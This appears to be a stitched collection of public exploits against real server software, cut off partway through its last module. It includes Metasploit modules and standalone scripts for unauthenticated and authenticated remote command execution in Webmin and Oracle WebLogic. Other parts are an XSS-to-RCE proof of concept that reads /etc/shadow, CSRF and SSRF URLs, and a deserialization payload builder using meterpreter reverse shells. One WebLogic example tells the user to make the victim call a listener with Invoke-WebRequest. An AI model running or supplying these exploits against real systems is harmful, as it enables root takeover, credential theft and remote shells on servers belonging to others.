'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"
})
if res && res.code == 200 && res.body =~ /password_change.cgi/
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
else
return CheckCode::Safe
end
end
##
# Exploiting phase
##
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
command = payload.encoded
print_status("Attempting to execute the payload...")
handler
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"
})
end
end
#!/bin/sh
#
# CVE-2019-15107 Webmin Unauhenticated Remote Command Execution
# based on Metasploit module https://www.exploit-db.com/exploits/47230
# Original advisory: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
# Alternative advisory (spanish): https://blog.nivel4.com/noticias/vulnerabilidad-de-ejecucion-de-comandos-remotos-en-webmin
#
# Fernando A. Lagos B. (Zerial)
# https://blog.zerial.org
# https://blog.nivel4.com
#
# The script sends a flag by a echo command then grep it. If match, target is vulnerable.
#
# Usage: sh CVE-2019-15107.sh https://target:port
# Example: sh CVE-2019-15107.sh https://localhost:10000
# output: Testing for RCE (CVE-2019-15107) on https://localhost:10000: VULNERABLE!
#
FLAG="f3a0c13c3765137bcde68572707ae5c0"
URI=$1;
echo -n "Testing for RCE (CVE-2019-15107) on $URI: ";
curl -ks $URI'/password_change.cgi' -d 'user=wheel&pam=&expired=2&old=id|echo '$FLAG'&new1=wheel&new2=wheel' -H 'Cookie: redirect=1; testing=1; sid=x; sessiontest=1;' -H "Content-Type: application/x-www-form-urlencoded" -H 'Referer: '$URI'/session_login.cgi'|grep $FLAG>/dev/null 2>&1
if [ $? -eq 0 ];
then
echo '\033[0;31mVULNERABLE!\033[0m'
else
echo '\033[0;32mOK! (target is not vulnerable)\033[0m'
fi
#EOF
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'uri'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.900 - Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in Webmin
1.900 and lower versions. Any user authorized to the "Java file manager"
and "Upload and Download" fields, to execute arbitrary commands with root privileges.
In addition, "Running Processes" field must be authorized to discover the directory to be uploaded.
A vulnerable file can be printed on the original files of the Webmin application.
The vulberable file we are uploading should be integrated with the application.
Therefore, a ".cgi" file with the vulnerability belong to webmin application should be used.
The module has been tested successfully with Webmin 1900 over Debian 4.9.18.
},
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Webmin <= 1.900', { }]],
'DisclosureDate' => 'Jan 17 2019',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(10000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password'])
], self.class)
end
##
# Target and input verification
##
def check
peer = "#{rhost}:#{rport}"
vprint_status("Attempting to login...")
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)
if res and res.code == 302 and res.get_cookies =~ /sid/
vprint_good "Login successful"
session = res.get_cookies.split("sid=")[1].split(";")[0]
else
vprint_error "Service found, but login failed"
return Exploit::CheckCode::Detected
end
vprint_status("Attempting to execute...")
command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
'cookie' => "sid=#{session}"
}, 25)
if res and res.code == 200 and res.message =~ /Document follows/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
##
# Exploiting phase
##
def exploit
peer = "#{rhost}:#{rport}"
print_status("Attempting to login...")
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)
if res and res.code == 302 and res.get_cookies =~ /sid/
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
if session and not session.empty?
print_good "Login successfully"
else
print_error "Authentication failed"
return
end
else
print_error "Authentication failed"
return
end
##
# Directory and SSL verification for referer
##
ps = "#{datastore['SSL']}"
if ps == "true"
ssl = "https://"
else
ssl = "http://"
end
print_status("Target URL => #{ssl}#{peer}")
res1 = send_request_raw(
{
'method' => "POST",
'uri' => "/proc/index_tree.cgi?",
'headers' =>
{
'Referer' => "#{ssl}#{peer}/sysinfo.cgi?xnavigation=1",
},
'cookie' => "redirect=1; testing=1; sid=#{session}"
})
if res1 and res1.code == 200 and res1.body =~ /Running Processes/
print_status "Searching for directory to upload..."
stpdir = res1.body.scan(/perl.+miniserv.pl/).map{ |s| s.split("perl ").last }.map{ |d| d.split("miniserv").first }.map{ |d| d.split("miniserv").first }
dir = stpdir[0] + "file"
print_good("Directory to upload => #{dir}")
else
print_error "No access to processes or no upload directory found."
return
end
##
# Loading phase of the vulnerable file
##
boundary = Rex::Text.rand_text_alphanumeric(29)
data2 = "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"
data2 << "Content-Type: application/octet-stream\r\n\r\n"
data2 << "#!/usr/local/bin/perl\n# show.cgi\n# Output some file for the browser\n\n"
data2 << "$trust_unknown_referers = 1;\nrequire './file-lib.pl';\n&ReadParse();\nuse POSIX;\n"
data2 << "$p = $ENV{'PATH_INFO'};\nif ($in{'type'}) {\n\t# Use the supplied content type\n\t"
data2 << "$type = $in{'type'};\n\t$download = 1;\n\t}\nelsif ($in{'format'} == 1) {\n\t"
data2 << "# Type comes from compression format\n\t$type = \"application/zip\";\n\t}\n"
data2 << "elsif ($in{'format'} == 2) {\n\t$type = \"application/x-gzip\";\n\t}\n"
data2 << "elsif ($in{'format'} == 3) {\n\t$type = \"application/x-tar\";\n\t}\nelse {\n\t"
data2 << "# Try to guess type from filename\n\t$type = &guess_mime_type($p, undef);\n\t"
data2 << "if (!$type) {\n\t\t# No idea .. use the 'file' command\n\t\t"
data2 << "$out = &backquote_command(\"file \".\n\t\t\t\t\t quotemeta(&resolve_links($p)), 1);\n\t\t"
data2 << "if ($out =~ /text|script/) {\n\t\t\t$type = \"text/plain\";\n\t\t\t}\n\t\telse {\n\t\t\t"
data2 << "$type = \"application/unknown\";\n\t\t\t}\n\t\t}\n\t}\n\n# Dump the file\n&switch_acl_uid();\n"
data2 << "$temp = &transname();\nif (!&can_access($p)) {\n\t# ACL rules prevent access to file\n\t"
data2 << "&error_exit(&text('view_eaccess', &html_escape($p)));\n\t}\n$p = &unmake_chroot($p);\n\n"
data2 << "if ($in{'format'}) {\n\t# An archive of a directory was requested .. create it\n\t"
data2 << "$archive || &error_exit($text{'view_earchive'});\n\tif ($in{'format'} == 1) {\n\t\t"
data2 << "$p =~ s/\\.zip$//;\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t$p =~ s/\\.tgz$//;\n\t\t}\n\t"
data2 << "elsif ($in{'format'} == 3) {\n\t\t$p =~ s/\\.tar$//;\n\t\t}\n\t-d $p || &error_exit($text{'view_edir'}.\" \".&html_escape($p));\n\t"
data2 << "if ($archive == 2 && $archmax > 0) {\n\t\t# Check if directory is too large to archive\n\t\tlocal $kb = &disk_usage_kb($p);\n\t\t"
data2 << "if ($kb*1024 > $archmax) {\n\t\t\t&error_exit(&text('view_earchmax', $archmax));\n\t\t\t}\n\t\t}\n\n\t"
data2 << "# Work out the base directory and filename\n\tif ($p =~ /^(.*\\/)([^\\/]+)$/) {\n\t\t$pdir = $1;\n\t\t"
data2 << "$pfile = $2;\n\t\t}\n\telse {\n\t\t$pdir = \"/\";\n\t\t$pfile = $p;\n\t\t}\n\n\t"
data2 << "# Work out the command to run\n\tif ($in{'format'} == 1) {\n\t\t"
data2 << "&has_command(\"zip\") || &error_exit(&text('view_ecmd', \"zip\"));\n\t\t"
data2 << "$cmd = \"zip -r $temp \".quotemeta($pfile);\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t"
data2 << "&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
data2 << "&has_command(\"gzip\") || &error_exit(&text('view_ecmd', \"gzip\"));\n\t\t"
data2 << "$cmd = \"tar cf - \".quotemeta($pfile).\" | gzip -c >$temp\";\n\t\t}\n\t"
data2 << "elsif ($in{'format'} == 3) {\n\t\t&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
data2 << "$cmd = \"tar cf $temp \".quotemeta($pfile);\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
data2 << "# Don't actually do anything if in test mode\n\t\t&ok_exit();\n\t\t}\n\n\t"
data2 << "# Run the command, and send back the resulting file\n\tlocal $qpdir = quotemeta($pdir);\n\t"
data2 << "local $out = `cd $qpdir ; ($cmd) 2>&1 </dev/null`;\n\tif ($?) {\n\t\tunlink($temp);\n\t\t"
data2 << "&error_exit(&text('view_ecomp', &html_escape($out)));\n\t\t}\n\tlocal @st = stat($temp);\n\t"
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-type: $type\\n\\n\";\n\t"
data2 << "open(FILE, $temp);\n\tunlink($temp);\n\twhile(read(FILE, $buf, 1024)) {\n\t\tprint $buf;\n\t\t}\n\t"
data2 << "close(FILE);\n\t}\nelse {\n\tif (!open(FILE, $p)) {\n\t\t# Unix permissions prevent access\n\t\t"
data2 << "&error_exit(&text('view_eopen', $p, $!));\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
data2 << "# Don't actually do anything if in test mode\n\t\tclose(FILE);\n\t\t"
data2 << "&ok_exit();\n\t\t}\n\n\t@st = stat($p);\n\tprint \"X-no-links: 1\\n\";\n\t"
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-Disposition: Attachment\\n\" if ($download);\n\t"
data2 << "print \"Content-type: $type\\n\\n\";\n\tif ($type =~ /^text\\/html/i && !$in{'edit'}) {\n\t\t"
data2 << "while(read(FILE, $buf, 1024)) {\n\t\t\t$data .= $buf;\n\t\t\t}\n\t\tprint &filter_javascript($data);\n\t\t"
data2 << "}\n\telse {\n\t\twhile(read(FILE, $buf, 1024)) {\n\t\t\tprint $buf;\n\t\t\t}\n\t\t}\n\tclose(FILE);\n\t}\n\n"
data2 << "sub error_exit\n{\nprint \"Content-type: text/plain\\n\";\n"
data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
data2 << "\r\n\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"user\"\r\n\r\nroot\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"group_def\"\r\n\r\n1\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"group\"\r\n\r\n\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n"
data2 << "-----------------------------{boundary}--\r\n"
res2 = send_request_raw(
{
'method' => "POST",
'uri' => "/updown/upload.cgi?id=154739243511",
'data' => data2,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
'Referer' => "#{ssl}#{peer}/updown/?xnavigation=1",
},
'cookie' => "redirect=1; testing=1; sid=#{session}"
})
if res2 and res2.code == 200 and res2.body =~ /Saving file/
print_good "Vulnerable show.cgi file was successfully uploaded."
else
print_error "Upload failed."
return
end
##
# Command execution and shell retrieval
##
print_status("Attempting to execute the payload...")
command = payload.encoded
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
'cookie' => "sid=#{session}"
}, 25)
if res and res.code == 200 and res.message =~ /Document follows/
print_good "Payload executed successfully"
else
print_error "Error executing the payload"
return
end
end
end
[+] SSD Beyond Security: https://blogs.securiteam.com/index.php/archives/3430
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/WEBMIN-v1.850-REMOTE-COMMAND-EXECUTION.txt
[+] ISR: ApparitionSec
Vulnerability summary
The following advisory describes three (3) vulnerabilities found in Webmin version 1.850
Webmin “is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS,
file sharing and much more. Webmin removes the need to manually edit Unix configuration files like /etc/passwd, and lets you manage a system from
the console or remotely. See the standard modules page for a list of all the functions built into Webmin.”
The vulnerabilities found are:
XSS vulnerability that leads to Remote Code Execution
CSRF Schedule arbitrary commands
Server Side Request Forgery
Credit
An independent security researcher, hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
The vendor has released patches to address these vulnerabilities.
For more information: https://github.com/webmin/webmin/commit/0c58892732ee7610a7abba5507614366d382c9c9 and http://www.webmin.com/security.html
Vulnerability details
XSS vulnerability that leads to Remote Code Execution
Under Webmin menu ‘Others/File Manager‘ there is option to download a file from a remote server ‘Download from remote URL‘.
By setting up a malicious server we can wait for file download request then send a XSS payload that will lead to Remote Code Execution.
Webmin echo back the ‘File Download‘ request status which we can trigger the XSS vulnerability and bypass this Referrer check by setting the
domain=webmin-victim-ip.
Proof of Concept
import socket
#===================================================
#Run this script and listen for file download from webmin
#Enter payload to execute RCE
#wait for webmin to connect and download file
#Vulnerability is in Menu/Others/File Manager
#issue is webmin echoes back status of the download
#by injecting XSS we bypass the Referer: check by assign
#domain to victims own IP, then execute our RCE
#-----------------------------------------------------------
#e.g.
#Download from remote URL
#http://x.x.x.x:10000/shell/index.cgi
#> whoami
#root
PORT=int(raw_input("[PORT]> ")) #port we listen on for file download requests
WEBMIN_IP=raw_input("[Webmin IP]> ") #victim
#Read /etc/shadow file
CMD=("/><script>document.domain='http://"+WEBMIN_IP+":10000/shell/index.cgi'</script>"+
"<form action='https://"+WEBMIN_IP+":10000/shell/index.cgi' method='POST' enctype='multipart/form-data'>"+
"<input type='hidden' name='cmd' value='cat /etc/shadow'><script>document.forms[0].submit()</script></form>")
s = socket.socket()
HOST = ''
s.bind((HOST, PORT))
s.listen(5)
print '\nwebmin file download 0day...'
while True:
conn, addr = s.accept()
conn.send(CMD+'\r\n')
print 'Connected!'
print s.recv(1024)
conn.close()
s.close()
CSRF Schedule arbitrary commands
User controlled input is not sufficiently sanitized, by sending GET request to create_job.cgi with the following parameter dir=/&cmd=ls
an attacker to execute arbitrary commands.
Proof of Concept
http://x.x.x.x:10000/at/create_job.cgi?user=root&day=31&month=7&year=2017&hour=2&min=00&dir=/&cmd=ls -lt&mail=0
Server Side Request Forgery
User controlled input is not sufficiently sanitized, by sending GET request to tunnel/link.cgi/http://VICTIM-IP:8000 an attacker can trigger
the vulnerability
Proof of Concept
http://x.x.x.x:10000/tunnel/link.cgi/http://VICTIM-IP:8000
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
====================
Would like to acknowledge Beyond Security’s SSD program for the help with co-ordination of this vulnerability.
More details can be found on their blog at:
https://blogs.securiteam.com/index.php/archives/3430
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Webmin < 1.930 Remote Code Execution",
'Description' => %q{
This exploit takes advantage of a code execution issue within the function
unserialise_variable() located in web-lib-funcs.pl, in order to gain root.
The only prerequisite is a valid session id.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Bercegay', # Vulnerability Discovery
],
'References' =>
[
[ 'URL', 'https://www.gulftech.org/' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2019/08/30',
'DefaultTarget' => 0))
register_options(
[
OptString.new('WMPORT', [ true, "Webmin port", '10000']),
OptString.new('WMUSER', [ true, "Webmin username", 'test']),
OptString.new('WMPASS', [ true, "Webmin password", 'test']),
])
end
def check
# Set Webmin port
datastore['RPORT'] = datastore['WMPORT']
# Verbose
print_status("Attempting to login")
# Send login request
res = send_request_cgi(
{
'uri' => '/session_login.cgi',
'method' => 'POST',
'vars_post' =>
{
'user' => datastore['WMUSER'],
'pass' => datastore['WMPASS'],
'save' => '1'
},
'cookie' => "redirect=1; testing=1; sessiontest=1;"
})
# If succesful cookie will be set
if ( res and res.headers['Set-Cookie'] )
# Do we have a valid SID?
if ( /sid=/.match(res.headers['Set-Cookie']) )
# Extract the SID
sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1]
print_good("Login was successful")
else
# No dice
print_bad("Unable to login")
return Exploit::CheckCode::Safe
end
else
# No dice
print_bad("Unexpected response")
return Exploit::CheckCode::Safe
end
# Verbose
print_status("Checking if host is vulnerable")
# Try to execute arbitrary code
res = send_request_cgi({
'uri' => '/rpc.cgi',
'method' => 'POST',
'headers' =>
{
'Referer' => 'http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s
},
'data' => 'OBJECT CGI;print "Content-Type: text/metasploit\n\n"',
'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid
})
# If it works our custom Content-Type will be set
if ( res.headers['Content-Type'] and res.headers['Content-Type'] == "text/metasploit" )
# Good
return Exploit::CheckCode::Vulnerable
else
# Bad
return Exploit::CheckCode::Safe
end
end
def exploit
# Set Webmin port
datastore['RPORT'] = datastore['WMPORT']
# Verbose
print_status("Attempting to login")
# Send login request
res = send_request_cgi(
{
'uri' => '/session_login.cgi',
'method' => 'POST',
'vars_post' =>
{
'user' => datastore['WMUSER'],
'pass' => datastore['WMPASS'],
'save' => '1'
},
'cookie' => "redirect=1; testing=1; sessiontest=1;"
})
# If succesful cookie will be set
if ( res and res.headers['Set-Cookie'] )
# Do we have a valid SID?
if ( /sid=/.match(res.headers['Set-Cookie']) )
# Extract the SID
sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1]
print_good("Login was successful")
else
# No dice
print_bad("Unable to login")
return
end
else
# No dice
print_bad("Unexpected response")
return
end
# Verbose
print_status("Sending selected payload")
# Hex encode payload to prevent problems with the payload getting mangled
hex = '\x' + payload.encoded.scan(/./).map{ |x| x.unpack('H*') }.join('\x')
# Send selected payload
res = send_request_cgi({
'uri' => '/rpc.cgi',
'method' => 'POST',
'headers' =>
{
'Referer' => 'https://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s
},
'data' => 'OBJECT CGI;`' + hex + '`',
'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid
})
end
end
# Exploit Title: WebMethods Integration Server 10.15.0.0000-0092 - Improper Access on Login Page
# Date: 25-01-2024
# Exploit Author: Rasime Ekici
# Vendor Homepage: www.softwareag.com
# Version: 10.15.0000-0092
# Tested on: 10.15.0000-0092
# CVE : 2024-23733
Description:
The /WmAdmin/,/invoke/vm.server/login login page in the Integration Server in Software AG webMethods 10.15.0 before Core Fix7 allows remote attackers to reach the administration panel,discovering server hostname and version information by sending arbitary username and blank password to the /WmAdmin/#/login/ uri
Interpret the http traffic and send a dummy username with blank password on login screen and drop the request to "/admin/navigation/license" to not logged out.Thus you may able to see:
-real hostname of the installed server
-version info
-administrative api endpoints
#!/usr/bin/python3
# Exploit Title: Oracle WebLogic Server 10.3.6.0.0 / 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0 - Unauthenticated RCE via GET request
# Exploit Author: Nguyen Jang
# CVE: CVE-2020-14882
# Vendor Homepage: https://www.oracle.com/middleware/technologies/weblogic.html
# Software Link: https://www.oracle.com/technetwork/middleware/downloads/index.html
# More Info: https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
import requests
import sys
from urllib3.exceptions import InsecureRequestWarning
if len(sys.argv) != 3:
print("[+] WebLogic Unauthenticated RCE via GET request")
print("[+] Usage : python3 exploit.py http(s)://target:7001 command")
print("[+] Example1 : python3 exploit.py http(s)://target:7001 \"nslookup your_Domain\"")
print("[+] Example2 : python3 exploit.py http(s)://target:7001 \"powershell.exe -c Invoke-WebRequest -Uri http://your_listener\"")
exit()
target = sys.argv[1]
command = sys.argv[2]
request = requests.session()
headers = {'Content-type': 'application/x-www-form-urlencoded; charset=utf-8'}
print("[+] Sending GET Request ....")
GET_Request = request.get(target + "/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec('" + command + "');\");", verify=False, headers=headers)
print("[+] Done !!")
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WebLogic Server Deserialization RCE - BadAttributeValueExpException',
'Description' => %q{
There exists a Java object deserialization vulnerability
in multiple versions of WebLogic.
Unauthenticated remote code execution can be achieved
by sending a serialized BadAttributeValueExpException object
over the T3 protocol to vulnerable WebLogic servers.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jang', # Vuln Discovery
'Y4er', # PoC
'Shelby Pace' # Metasploit Module
],
'References' =>
[
[ 'CVE', '2020-2555' ],
[ 'URL', 'https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server' ],
[ 'URL', 'https://github.com/Y4er/CVE-2020-2555' ]
],
'Platform' => %w[unix linux win],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Privileged' => false,
'Targets' =>
[
[
'Windows',
{
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
}
],
[
'Unix',
{
'Platform' => %w[unix linux],
'CmdStagerFlavor' => 'printf',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
],
'DisclosureDate' => '2020-01-15',
'DefaultTarget' => 0
)
)
register_options([ Opt::RPORT(7001) ])
end
def check
connect
web_req = "GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{peer}\n\n"
sock.put(web_req)
sleep(2)
res = sock.get_once
versions = [ Gem::Version.new('12.1.3.0.0'), Gem::Version.new('12.2.1.3.0'), Gem::Version.new('12.2.1.4.0') ]
return CheckCode::Unknown('Failed to obtain response from service') unless res
/WebLogic\s+Server\s+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
return CheckCode::Unknown('Failed to detect WebLogic') unless version
@version_no = Gem::Version.new(version)
print_status("WebLogic version detected: #{@version_no}")
return CheckCode::Appears if versions.include?(@version_no)
CheckCode::Detected('Version of WebLogic is not vulnerable')
ensure
disconnect
end
def exploit
super
connect
print_status('Sending handshake...')
t3_handshake
if target.name == 'Windows'
win_obj = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true })
win_obj.prepend('cmd.exe /c ')
win_obj = build_payload_obj(win_obj)
t3_send(win_obj)
else
execute_cmdstager
end
ensure
disconnect
end
def t3_handshake
# t3 12.2.1\nAS:255
# \nHL:19\nMS:100000
# 00\n\n
shake = '74332031322e322e310a41533a323535'
shake << '0a484c3a31390a4d533a313030303030'
shake << '30300a0a'
sock.put([shake].pack('H*'))
sleep(1)
sock.get_once
end
def build_payload_obj(payload_data)
payload_obj = 'aced' # STREAM_MAGIC
payload_obj << '0005' # STREAM_VERSION
payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
payload_obj << '002e' # Class name length: 46
payload_obj << '6a617661782e6d616e61' # Class name: javax.management.BadAttributeValueExpException
payload_obj << '67656d656e742e426164'
payload_obj << '41747472696275746556'
payload_obj << '616c7565457870457863'
payload_obj << '657074696f6e'
payload_obj << 'd4e7daab632d4640' # SerialVersionUID
payload_obj << '020001' # Serialization flag, field num = 1
payload_obj << '4c0003' # Field type code: 4c = Object, field name length: 3
payload_obj << '76616c' # Field name: val
payload_obj << '740012' # String, length: 18
payload_obj << '4c6a6176612f6c616e672f4f626a6563743b' # Ljava/lang/Object;
payload_obj << '7872' # end block data, TC_CLASSDESC
payload_obj << '0013' # Class name length: 19
payload_obj << '6a6176612e6c616e672e' # java.lang.Exception
payload_obj << '457863657074696f6e'
payload_obj << 'd0fd1f3e1a3b1cc4' # SerialVersionUID
payload_obj << '020000' # Serializable, No fields
payload_obj << '7872' # end block data, TC_CLASSDESC
payload_obj << '0013' # Class name length: 19
payload_obj << '6a6176612e6c616e672e' # java.lang.Throwable
payload_obj << '5468726f7761626c65'
payload_obj << 'd5c635273977b8cb' # SerialVersionUID
payload_obj << '030004' # ?, then 4 fields
payload_obj << '4c0005' # Field type: Object, field name length: 5
payload_obj << '6361757365' # Field name: cause
payload_obj << '740015' # String, length: 21
payload_obj << '4c6a6176612f6c616e67' # Ljava/lang/Throwable;
payload_obj << '2f5468726f7761626c653b'
payload_obj << '4c000d' # Field type: Object, field name length: 13
payload_obj << '64657461696c4d657373616765' # Field name: detailMessage
payload_obj << '740012' # String, length: 18
payload_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
payload_obj << '2f537472696e673b'
payload_obj << '5b000a' # Field type: 5b = array, field name length: 10
payload_obj << '737461636b5472616365' # Field name: stackTrace
payload_obj << '74001e' # String, length: 30
payload_obj << '5b4c6a6176612f6c616e' # [Ljava/lang/StackTraceElement;
payload_obj << '672f537461636b547261'
payload_obj << '6365456c656d656e743b'
payload_obj << '4c0014' # Field type: Object, field name length: 20
payload_obj << '73757070726573736564' # Field name: suppressedExceptions
payload_obj << '457863657074696f6e73'
payload_obj << '740010' # String, length: 16
payload_obj << '4c6a6176612f7574696c' # Ljava/util/List;
payload_obj << '2f4c6973743b'
payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
payload_obj << '71' # TC_REFERENCE
payload_obj << '007e0008' # handle?
payload_obj << '7075' # TC_NULL, TC_ARRAY
payload_obj << '72001e' # TC_CLASSDESC, Class name length: 30
payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.StackTraceElement;
payload_obj << '672e537461636b547261'
payload_obj << '6365456c656d656e743b'
payload_obj << '02462a3c3cfd2239' # SerialVersionUID
payload_obj << '020000' # Serializable, No fields
payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
payload_obj << '00000001'
payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
payload_obj << '001b' # Class name length: 27
payload_obj << '6a6176612e6c616e672e' # java.lang.StackTraceElement
payload_obj << '537461636b5472616365'
payload_obj << '456c656d656e74'
payload_obj << '6109c59a2636dd85' # SerialVersionUID
payload_obj << '020004' # Serializable, 4 fields
payload_obj << '49000a' # Field type: 49 = Integer, field name length: 10
payload_obj << '6c696e654e756d626572' # lineNumber
payload_obj << '4c000e' # Field type: Object, field name length: 14
payload_obj << '6465636c6172696e6743'
payload_obj << '6c617373' # declaringClass
payload_obj << '71' # TC_REFERENCE
payload_obj << '007e0005' # handle
payload_obj << '4c0008' # Field type: Object, field name length: 8
payload_obj << '66696c654e616d65' # fileName
payload_obj << '71' # TC_REFERENCE
payload_obj << '007e0005' # handle
payload_obj << '4c000a' # Field type: Object, field name length: 10
payload_obj << '6d6574686f644e616d65' # methodName
payload_obj << '71' # TC_REFERENCE
payload_obj << '007e0005' # handle
